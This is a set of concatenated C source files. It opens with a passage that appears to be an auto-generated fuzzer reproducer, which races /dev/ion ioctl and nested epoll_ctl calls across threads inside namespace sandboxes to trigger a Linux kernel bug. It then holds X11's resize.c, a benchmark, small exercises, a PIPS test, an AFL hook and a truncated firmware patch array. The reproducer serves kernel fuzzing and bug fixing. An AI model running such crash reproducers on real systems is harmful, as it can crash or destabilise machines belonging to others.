setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_tun();
initialize_netdevices();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
int iter = 0;
DIR* dp = 0;
retry:
while (umount2(dir, MNT_DETACH) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
struct dirent* ep = 0;
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, MNT_DETACH) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, MNT_DETACH))
exit(1);
}
}
closedir(dp);
for (int i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
static void reset_loop()
{
reset_net_namespace();
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
}
static void close_fds()
{
for (int fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
int collide = 0;
again:
for (call = 0; call < 6; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (collide && (call % 2) == 0)
break;
event_timedwait(&th->done, 45);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
close_fds();
if (!collide) {
collide = 1;
goto again;
}
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter = 0;
for (;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff,
0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
NONFAILING(memcpy((void*)0x20001500, "/dev/ion\000", 9));
res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20001500ul, 0ul, 0ul);
if (res != -1)
r[0] = res;
break;
case 1:
NONFAILING(*(uint64_t*)0x20000040 = 0xa923);
NONFAILING(*(uint32_t*)0x20000048 = 1);
NONFAILING(*(uint32_t*)0x2000004c = 0);
NONFAILING(*(uint32_t*)0x20000054 = 0);
res = syscall(__NR_ioctl, r[0], 0xc0184900, 0x20000040ul);
if (res != -1)
NONFAILING(r[1] = *(uint32_t*)0x20000050);
break;
case 2:
res = syscall(__NR_epoll_create, 5);
if (res != -1)
r[2] = res;
break;
case 3:
res = syscall(__NR_epoll_create, 7);
if (res != -1)
r[3] = res;
break;
case 4:
NONFAILING(*(uint32_t*)0x20000140 = 0);
NONFAILING(*(uint64_t*)0x20000144 = 0);
syscall(__NR_epoll_ctl, r[2], 1ul, r[3], 0x20000140ul);
break;
case 5:
NONFAILING(*(uint32_t*)0x20000080 = 0x20000034);
NONFAILING(*(uint64_t*)0x20000084 = 0);
syscall(__NR_epoll_ctl, r[3], 1ul, r[1], 0x20000080ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
setup_binfmt_misc();
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/87942.c
|
/*
* $XConsortium: resize.c,v 1.29 93/09/20 17:42:18 hersh Exp $
*/
/*
* Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts.
*
* All Rights Reserved
*
* Permission to use, copy, modify, and distribute this software and its
* documentation for any purpose and without fee is hereby granted,
* provided that the above copyright notice appear in all copies and that
* both that copyright notice and this permission notice appear in
* supporting documentation, and that the name of Digital Equipment
* Corporation not be used in advertising or publicity pertaining to
* distribution of the software without specific, written prior permission.
*
*
* DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
* ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
* DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
* ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
* WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
* ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
* SOFTWARE.
*/
/* resize.c */
#include <X11/Xos.h>
#include <stdio.h>
#include <ctype.h>
#if defined(att) || (defined(SYSV) && defined(i386))
#define ATT
#endif
#ifdef SVR4
#ifndef SYSV
#define SYSV
#endif
#define ATT
#endif
#ifdef ATT
#define USE_USG_PTYS
#endif
#ifdef APOLLO_SR9
#define CANT_OPEN_DEV_TTY
#endif
#ifdef _IBMR2
#define CANT_OPEN_DEV_TTY
#endif
#ifdef macII
#define USE_SYSV_TERMIO
#undef SYSV /* pretend to be bsd */
#endif /* macII */
#ifdef SCO
#define USE_TERMCAP
#define USE_TERMINFO
#endif
#if defined(SYSV) || defined(linux)
#define USE_SYSV_TERMIO
#define USE_SYSV_UTMP
#else /* else not SYSV */
#define USE_TERMCAP
#endif /* SYSV */
/*
* some OS's may want to use both, like SCO for example we catch
* here anyone who hasn't decided what they want.
*/
#if !defined(USE_TERMCAP) && !defined(USE_TERMINFO)
#define USE_TERMINFO
#endif
#ifdef MINIX
#define USE_TERMIOS
#endif
#include <sys/ioctl.h>
#ifdef USE_SYSV_TERMIO
#ifdef linux
#include <termio.h>
#define USG
#else
#include <sys/termio.h>
#endif
#else /* else not USE_SYSV_TERMIO */
#if defined(USE_POSIX_TERMIOS) || defined(MINIX)
#include <termios.h>
#else
#include <sgtty.h>
#endif
#endif /* USE_SYSV_TERMIO */
#ifdef USE_USG_PTYS
#include <sys/stream.h>
#include <sys/stropts.h>
#ifndef SVR4
#include <sys/ptem.h>
#endif
#endif
#include <signal.h>
#include <pwd.h>
#ifdef SIGNALRETURNSINT
#define SIGNAL_T int
#else
#define SIGNAL_T void
#endif
#ifndef X_NOT_STDC_ENV
#include <stdlib.h>
#else
char *getenv();
#endif
#ifdef USE_SYSV_TERMIO
#ifdef X_NOT_POSIX
#if !defined(SYSV) && !defined(i386)
extern struct passwd *getpwuid(); /* does ANYBODY need this? */
#endif /* SYSV && i386 */
#endif /* X_NOT_POSIX */
#endif /* USE_SYSV_TERMIO */
#ifdef USE_TERMIOS
#define USE_SYSV_TERMIO
#define termio termios
#define TCGETA TCGETS
#define TCSETAW TCSETSW
#ifndef IUCLC
#define IUCLC 0
#endif
#endif
#define EMULATIONS 2
#define SUN 1
#define TIMEOUT 10
#define VT100 0
#define SHELL_UNKNOWN 0
#define SHELL_C 1
#define SHELL_BOURNE 2
struct {
char *name;
int type;
} shell_list[] = {
"csh", SHELL_C, /* vanilla cshell */
"tcsh", SHELL_C,
"jcsh", SHELL_C,
"sh", SHELL_BOURNE, /* vanilla Bourne shell */
"ksh", SHELL_BOURNE, /* Korn shell (from AT&T toolchest) */
"ksh-i", SHELL_BOURNE, /* other name for latest Korn shell */
"bash", SHELL_BOURNE, /* GNU Bourne again shell */
"jsh", SHELL_BOURNE,
NULL, SHELL_BOURNE /* default (same as xgterm's) */
};
char *emuname[EMULATIONS] = {
"VT100",
"Sun",
};
char *myname;
int shell_type = SHELL_UNKNOWN;
char *getsize[EMULATIONS] = {
"\0337\033[r\033[999;999H\033[6n",
"\033[18t",
};
#if !defined(sun) || defined(SVR4)
#ifdef TIOCSWINSZ
char *getwsize[EMULATIONS] = { /* size in pixels */
0,
"\033[14t",
};
#endif /* TIOCSWINSZ */
#endif /* sun */
char *restore[EMULATIONS] = {
"\0338",
0,
};
char *setname = "";
char *setsize[EMULATIONS] = {
0,
"\033[8;%s;%st",
};
#ifdef USE_SYSV_TERMIO
struct termio tioorig;
#else /* not USE_SYSV_TERMIO */
struct sgttyb sgorig;
#endif /* USE_SYSV_TERMIO */
char *size[EMULATIONS] = {
"\033[%d;%dR",
"\033[8;%d;%dt",
};
char sunname[] = "sunsize";
int tty;
FILE *ttyfp;
#if !defined(sun) || defined(SVR4)
#ifdef TIOCSWINSZ
char *wsize[EMULATIONS] = {
0,
"\033[4;%hd;%hdt",
};
#endif /* TIOCSWINSZ */
#endif /* sun */
char *strindex ();
SIGNAL_T onintr();
/*
resets termcap string to reflect current screen size
*/
main (argc, argv)
int argc;
char **argv;
{
register char *ptr, *env;
register int emu = VT100;
char *shell;
struct passwd *pw;
int i;
int rows, cols;
#ifdef USE_SYSV_TERMIO
struct termio tio;
#else /* not USE_SYSV_TERMIO */
struct sgttyb sg;
#endif /* USE_SYSV_TERMIO */
#ifdef USE_TERMCAP
char termcap [1024];
char newtc [1024];
#endif /* USE_TERMCAP */
char buf[BUFSIZ];
#if defined(sun) && !defined(SVR4)
#ifdef TIOCSSIZE
struct ttysize ts;
#endif /* TIOCSSIZE */
#else /* sun */
#ifdef TIOCSWINSZ
struct winsize ws;
#endif /* TIOCSWINSZ */
#endif /* sun */
char *name_of_tty;
#ifdef CANT_OPEN_DEV_TTY
extern char *ttyname();
#endif
ptr = strrchr(myname = argv[0], '/');
if(ptr)
myname = ptr + 1;
if(strcmp(myname, sunname) == 0)
emu = SUN;
for(argv++, argc-- ; argc > 0 && **argv == '-' ; argv++, argc--) {
switch((*argv)[1]) {
case 's': /* Sun emulation */
if(emu == SUN)
Usage(); /* Never returns */
emu = SUN;
break;
case 'u': /* Bourne (Unix) shell */
shell_type = SHELL_BOURNE;
break;
case 'c': /* C shell */
shell_type = SHELL_C;
break;
default:
Usage(); /* Never returns */
}
}
if (SHELL_UNKNOWN == shell_type) {
/* Find out what kind of shell this user is running.
* This is the same algorithm that xgterm uses.
*/
if (((ptr = getenv("SHELL")) == NULL || *ptr == 0) &&
(((pw = getpwuid(getuid())) == NULL) ||
*(ptr = pw->pw_shell) == 0))
/* this is the same default that xgterm uses */
ptr = "/bin/sh";
shell = strrchr(ptr, '/');
if(shell)
shell++;
else
shell = ptr;
/* now that we know, what kind is it? */
for (i = 0; shell_list[i].name; i++)
if (!strcmp(shell_list[i].name, shell))
break;
shell_type = shell_list[i].type;
}
if(argc == 2) {
if(!setsize[emu]) {
fprintf(stderr,
"%s: Can't set window size under %s emulation\n",
myname, emuname[emu]);
exit(1);
}
if(!checkdigits(argv[0]) || !checkdigits(argv[1]))
Usage(); /* Never returns */
} else if(argc != 0)
Usage(); /* Never returns */
#ifdef CANT_OPEN_DEV_TTY
if ((name_of_tty = ttyname(fileno(stderr))) == NULL)
#endif
name_of_tty = "/dev/tty";
if ((ttyfp = fopen (name_of_tty, "r+")) == NULL) {
fprintf (stderr, "%s: can't open terminal %s\n",
myname, name_of_tty);
exit (1);
}
tty = fileno(ttyfp);
#ifdef USE_TERMCAP
if(!(env = getenv("TERM")) || !*env) {
env = "xgterm";
if(SHELL_BOURNE == shell_type)
setname = "TERM=xterm;\nexport TERM;\n";
else
setname = "setenv TERM xterm;\n";
}
if(tgetent (termcap, env) <= 0) {
fprintf(stderr, "%s: Can't get entry \"%s\"\n",
myname, env);
exit(1);
}
#endif /* USE_TERMCAP */
#ifdef USE_TERMINFO
if(!(env = getenv("TERM")) || !*env) {
env = "xterm";
if(SHELL_BOURNE == shell_type)
setname = "TERM=xterm;\nexport TERM;\n";
else setname = "setenv TERM xterm;\n";
}
#endif /* USE_TERMINFO */
#ifdef USE_SYSV_TERMIO
ioctl (tty, TCGETA, &tioorig);
tio = tioorig;
tio.c_iflag &= ~(ICRNL | IUCLC);
tio.c_lflag &= ~(ICANON | ECHO);
tio.c_cflag |= CS8;
tio.c_cc[VMIN] = 6;
tio.c_cc[VTIME] = 1;
#else /* else not USE_SYSV_TERMIO */
ioctl (tty, TIOCGETP, &sgorig);
sg = sgorig;
sg.sg_flags |= RAW;
sg.sg_flags &= ~ECHO;
#endif /* USE_SYSV_TERMIO */
signal(SIGINT, onintr);
signal(SIGQUIT, onintr);
signal(SIGTERM, onintr);
#ifdef USE_SYSV_TERMIO
ioctl (tty, TCSETAW, &tio);
#else /* not USE_SYSV_TERMIO */
ioctl (tty, TIOCSETP, &sg);
#endif /* USE_SYSV_TERMIO */
if (argc == 2) {
sprintf (buf, setsize[emu], argv[0], argv[1]);
write(tty, buf, strlen(buf));
}
write(tty, getsize[emu], strlen(getsize[emu]));
readstring(ttyfp, buf, size[emu]);
if(sscanf (buf, size[emu], &rows, &cols) != 2) {
fprintf(stderr, "%s: Can't get rows and columns\r\n", myname);
onintr(0);
}
if(restore[emu])
write(tty, restore[emu], strlen(restore[emu]));
#if defined(sun) && !defined(SVR4)
#ifdef TIOCGSIZE
/* finally, set the tty's window size */
if (ioctl (tty, TIOCGSIZE, &ts) != -1) {
ts.ts_lines = rows;
ts.ts_cols = cols;
ioctl (tty, TIOCSSIZE, &ts);
}
#endif /* TIOCGSIZE */
#else /* sun */
#ifdef TIOCGWINSZ
/* finally, set the tty's window size */
if(getwsize[emu]) {
/* get the window size in pixels */
write (tty, getwsize[emu], strlen (getwsize[emu]));
readstring(ttyfp, buf, wsize[emu]);
if(sscanf (buf, wsize[emu], &ws.ws_xpixel, &ws.ws_ypixel) != 2) {
fprintf(stderr, "%s: Can't get window size\r\n", myname);
onintr(0);
}
ws.ws_row = rows;
ws.ws_col = cols;
ioctl (tty, TIOCSWINSZ, &ws);
} else if (ioctl (tty, TIOCGWINSZ, &ws) != -1) {
/* we don't have any way of directly finding out
the current height & width of the window in pixels. We try
our best by computing the font height and width from the "old"
struct winsize values, and multiplying by these ratios...*/
if (ws.ws_col != 0)
ws.ws_xpixel = cols * (ws.ws_xpixel / ws.ws_col);
if (ws.ws_row != 0)
ws.ws_ypixel = rows * (ws.ws_ypixel / ws.ws_row);
ws.ws_row = rows;
ws.ws_col = cols;
ioctl (tty, TIOCSWINSZ, &ws);
}
#endif /* TIOCGWINSZ */
#endif /* sun */
#ifdef USE_SYSV_TERMIO
ioctl (tty, TCSETAW, &tioorig);
#else /* not USE_SYSV_TERMIO */
ioctl (tty, TIOCSETP, &sgorig);
#endif /* USE_SYSV_TERMIO */
signal(SIGINT, SIG_DFL);
signal(SIGQUIT, SIG_DFL);
signal(SIGTERM, SIG_DFL);
#ifdef USE_TERMCAP
/* update termcap string */
/* first do columns */
if ((ptr = strindex (termcap, "co#")) == NULL) {
fprintf(stderr, "%s: No `co#'\n", myname);
exit (1);
}
i = ptr - termcap + 3;
strncpy (newtc, termcap, i);
sprintf (newtc + i, "%d", cols);
ptr = strchr(ptr, ':');
strcat (newtc, ptr);
/* now do lines */
if ((ptr = strindex (newtc, "li#")) == NULL) {
fprintf(stderr, "%s: No `li#'\n", myname);
exit (1);
}
i = ptr - newtc + 3;
strncpy (termcap, newtc, i);
sprintf (termcap + i, "%d", rows);
ptr = strchr(ptr, ':');
strcat (termcap, ptr);
#endif /* USE_TERMCAP */
if(SHELL_BOURNE == shell_type) {
#ifdef USE_TERMCAP
printf ("%sTERMCAP='%s';\n",
setname, termcap);
#endif /* USE_TERMCAP */
#ifdef USE_TERMINFO
#ifndef SVR4
printf ("%sCOLUMNS=%d;\nLINES=%d;\nexport COLUMNS LINES;\n",
setname, cols, rows);
#endif /* !SVR4 */
#endif /* USE_TERMINFO */
} else { /* not Bourne shell */
#ifdef USE_TERMCAP
printf ("set noglob;\n%ssetenv TERMCAP '%s';\nunset noglob;\n",
setname, termcap);
#endif /* USE_TERMCAP */
#ifdef USE_TERMINFO
#ifndef SVR4
printf ("set noglob;\n%ssetenv COLUMNS '%d';\nsetenv LINES '%d';\nunset noglob;\n",
setname, cols, rows);
#endif /* !SVR4 */
#endif /* USE_TERMINFO */
}
exit(0);
}
char *strindex (s1, s2)
/*
returns a pointer to the first occurrence of s2 in s1, or NULL if there are
none.
*/
register char *s1, *s2;
{
register char *s3;
int s2len = strlen (s2);
while ((s3 = strchr(s1, *s2)) != NULL)
{
if (strncmp (s3, s2, s2len) == 0) return (s3);
s1 = ++s3;
}
return (NULL);
}
checkdigits(str)
register char *str;
{
while(*str) {
if(!isdigit(*str))
return(0);
str++;
}
return(1);
}
readstring(fp, buf, str)
register FILE *fp;
register char *buf;
char *str;
{
register int last, c;
SIGNAL_T timeout();
#if !defined(USG) && !defined(MINIX) && !defined(SCO)
struct itimerval it;
#endif
signal(SIGALRM, timeout);
#if defined(USG) || defined(MINIX) || defined(SCO)
alarm (TIMEOUT);
#else
memset((char *)&it, 0, sizeof(struct itimerval));
it.it_value.tv_sec = TIMEOUT;
setitimer(ITIMER_REAL, &it, (struct itimerval *)NULL);
#endif
if ((c = getc(fp)) == 0233) { /* meta-escape, CSI */
*buf++ = c = '\033';
*buf++ = '[';
} else
*buf++ = c;
if(c != *str) {
fprintf(stderr, "%s: unknown character, exiting.\r\n", myname);
onintr(0);
}
last = str[strlen(str) - 1];
while((*buf++ = getc(fp)) != last)
;
#if defined(USG) || defined(MINIX) || defined(SCO)
alarm (0);
#else
memset((char *)&it, 0, sizeof(struct itimerval));
setitimer(ITIMER_REAL, &it, (struct itimerval *)NULL);
#endif
*buf = 0;
}
Usage()
{
fprintf(stderr, strcmp(myname, sunname) == 0 ?
"Usage: %s [rows cols]\n" :
"Usage: %s [-u] [-c] [-s [rows cols]]\n", myname);
exit(1);
}
SIGNAL_T
timeout(sig)
int sig;
{
fprintf(stderr, "%s: Time out occurred\r\n", myname);
onintr(sig);
}
/* ARGSUSED */
SIGNAL_T
onintr(sig)
int sig;
{
#ifdef USE_SYSV_TERMIO
ioctl (tty, TCSETAW, &tioorig);
#else /* not USE_SYSV_TERMIO */
ioctl (tty, TIOCSETP, &sgorig);
#endif /* USE_SYSV_TERMIO */
exit(1);
}
|
the_stack_data/28100.c
|
/**
* @license Apache-2.0
*
* Copyright (c) 2018 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Benchmark `fibonacci-index`.
*/
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <time.h>
#include <sys/time.h>
#define NAME "fibonacci-index"
#define ITERATIONS 1000000
#define REPEATS 3
/**
* Prints the TAP version.
*/
void print_version() {
printf( "TAP version 13\n" );
}
/**
* Prints the TAP summary.
*
* @param total total number of tests
* @param passing total number of passing tests
*/
void print_summary( int total, int passing ) {
printf( "#\n" );
printf( "1..%d\n", total ); // TAP plan
printf( "# total %d\n", total );
printf( "# pass %d\n", passing );
printf( "#\n" );
printf( "# ok\n" );
}
/**
* Prints benchmarks results.
*
* @param elapsed elapsed time in seconds
*/
void print_results( double elapsed ) {
double rate = (double)ITERATIONS / elapsed;
printf( " ---\n" );
printf( " iterations: %d\n", ITERATIONS );
printf( " elapsed: %0.9f\n", elapsed );
printf( " rate: %0.9f\n", rate );
printf( " ...\n" );
}
/**
* Returns a clock time.
*
* @return clock time
*/
double tic() {
struct timeval now;
gettimeofday( &now, NULL );
return (double)now.tv_sec + (double)now.tv_usec/1.0e6;
}
/**
* Generates a random number on the interval [0,1].
*
* @return random number
*/
double rand_double() {
int r = rand();
return (double)r / ( (double)RAND_MAX + 1.0 );
}
/**
* Computes the Fibonacci number index.
*
* @param F Fibonacci number
* @return function result
*/
int fibonacci_index( int F ) {
double y = ((double)F * sqrt( 5.0 )) + 0.5;
return (int)floor( log( y ) / log( 1.618033988749895 ) );
}
/**
* Runs a benchmark.
*
* @return elapsed time in seconds
*/
double benchmark() {
double elapsed;
double t;
int x;
int y;
int i;
t = tic();
for ( i = 0; i < ITERATIONS; i++ ) {
// note: using actual Fibonacci numbers is not important
x = (int)floor( (100000.0*rand_double()) + 2.0 );
y = fibonacci_index( x );
if ( y < 0 ) {
printf( "should return a nonnegative integer\n" );
break;
}
}
elapsed = tic() - t;
if ( y < 0 ) {
printf( "should return a nonnegative integer\n" );
}
return elapsed;
}
/**
* Main execution sequence.
*/
int main( void ) {
double elapsed;
int i;
// Use the current time to seed the random number generator:
srand( time( NULL ) );
print_version();
for ( i = 0; i < REPEATS; i++ ) {
printf( "# c::%s\n", NAME );
elapsed = benchmark();
print_results( elapsed );
printf( "ok %d benchmark finished\n", i+1 );
}
print_summary( REPEATS, REPEATS );
}
|
the_stack_data/32949142.c
|
#include<stdio.h>
int zuHe(int n,int m)
{
if(m==n) return 1;
if(m==1&&m!=n) return n;
else return zuHe(n-1,m-1)+zuHe(n-1,m);
}
int main()
{
int m,n,c;
scanf("%d%d",&n,&m);
c=zuHe(n,m);
printf("%d",c);
return 0;
}
|
the_stack_data/31388072.c
|
/* Make sure that summary preconditions are propagated and computed
when functions are called from within declarations.
In fact, the bug disappeared when the type issue between the call
site of foo and the definition of foo was solved. No more warning
by gcc, no more unfeasible precondition for foo.
Also make sure that j=i++ is properly translated into a
transformer.
*/
long long foo (char** argv) {
long long result = 0;
result = atoll (argv[1]);
return result;
}
int main (int argc, char** argv) {
// Parsing error because i is used in its own declaration statement
//int i = 10, j = i+1, a[i], k = foo(i);
int i = 10;
int j = i++, a[i];
long long k = foo(argv);
return j;
}
|
the_stack_data/90766227.c
|
#include <stdint.h>
#include <string.h>
#define g2h(x) ((void *)((unsigned long)(x) + guest_base))
#define REGS_RDI 7
#define REGS_RSI 6
void afl_persistent_hook(uint64_t *regs, uint64_t guest_base,
uint8_t *input_buf, uint32_t input_len) {
memcpy(g2h(regs[REGS_RDI]), input_buf, input_len);
regs[REGS_RSI] = input_len;
}
int afl_persistent_hook_init(void) {
return 1;
}
|
the_stack_data/29288.c
|
/*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main() {
int dis,amount = 0;
printf("Enter the distance : ");
scanf("%d",&dis);
if(dis < 50)
{
amount = dis * 50;
}
else
{
amount = 30 * 50 + (dis - 30) * 40;
}
printf("The total amount is : %d\n",amount);
return 0;
}
|
the_stack_data/48576124.c
|
const int loader_RA7_patch_version = 0x020201;
const int loader_RA7_patch_cmd_nb = 108;
const char loader_RA7_patch_AuthKeyId = 2;
const char loader_RA7_patch[] __attribute__((aligned(4))) = {
0x2F, 0x04, 0x15, 0x80, 0x32, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2F, 0x04, 0x06, 0x80, 0xA8, 0x00, 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, 0xFD, 0x82, 0xDC, 0x9A, 0x84,
0xF6, 0x14, 0x2B, 0x1C, 0xAA, 0xC1, 0xED, 0x44, 0xB5, 0x88, 0xA1, 0xD1,
0xEB, 0x09, 0xA6, 0x6D, 0x49, 0x62, 0x10, 0xE2, 0x8B, 0xE0, 0x2F, 0x04,
0x15, 0x80, 0x36, 0x00, 0x00, 0x10, 0x72, 0x7F, 0xB7, 0xEF, 0x88, 0x07,
0x37, 0xD2, 0xC8, 0xD8, 0x80, 0xC3, 0x56, 0xD8, 0x09, 0x26};
const char loader_RA7_patch_size_tab[] __attribute__((aligned(4))) = {
24, 9, 168, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248,
248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248,
248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248,
248, 248, 248, 248, 248, 248, 248, 248, 248, 40, 136, 24, 24, 9,
168, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248,
248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248,
